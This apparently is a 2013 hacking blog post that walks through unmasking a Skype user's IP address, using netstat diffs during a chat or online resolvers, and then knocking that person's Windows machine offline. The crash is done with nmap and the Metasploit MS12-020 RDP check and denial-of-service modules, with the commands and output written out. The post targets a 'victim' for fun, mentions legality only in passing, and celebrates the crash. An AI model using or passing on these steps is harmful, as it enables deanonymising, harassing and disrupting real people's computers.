Fun with skype resolver

Skype resolvers are used by hackers to get Skype users IP addresses, when a hacker get a users IP address they usually hit them off or DDoS them.

If your victim is in your friend-list & you are using linux ; then it`s very simple to get his I.P.

netstat -tupan | grep skype > n1

Now chat with your victim; as soon as you got reply use following command.

netstat -tupan | grep skype > n2

diff n1 n2

Now we have I.P. of victim.

In most situation our victim is not in our friend-list. So for that situation, we will going to use online skype resolver.You can also use bash script for getting ip of victim which i wrote.

root@bt:~# git clone

root@bt:~# cd

root@bt:~/ sh

Use one of following  links to get I.P. of your victim using his skype user-name.






Okay we got I.P. Now you can directly DOS or DDOS( ddos and dos attacks are illegal) them . But we are going to use different technique to shutdown your victim pc using RDP.

First scan ip to find open ports of victim.

root@bt:~# nmap

Starting Nmap 6.40 ( ) at 2013-10-11 18:41 IST
Nmap scan report for
Host is up (0.00077s latency).
Not shown: 995 filtered ports
139/tcp     open   netbios-ssn
445/tcp     open   microsoft-ds
2869/tcp   closed icslap
3389/tcp   open   ms-wbt-server
10243/tcp closed unknown
MAC Address: 08:00:27:B3:A3:80 (Cadmus Computer Systems)


From result we can see that port 3389 is open which is used for RDP.

Now we will use metasploit Auxiliary module to check vulnerability.

msf > use auxiliary/scanner/rdp/ms12_020_check
msf auxiliary(ms12_020_check) > set RHOSTS
msf auxiliary(ms12_020_check) > run

[+] Vulnerable to MS12-020
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed


Okay we got that host is vulnerable to MS12-020.Now we will use metasploit module to Dos that I.p.

msf auxiliary(ms12_020_check) > use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
msf auxiliary(ms12_020_maxchannelids) > set RHOST
msf auxiliary(ms12_020_maxchannelids) > run

[*] - Sending MS12-020 Microsoft Remote Desktop Use-After-Free DoS
[*] - 210 bytes sent
[*] - Checking RDP status...
[+] seems down
[*] Auxiliary module execution completed


And bingo ; your victim machine should be restarted. :)
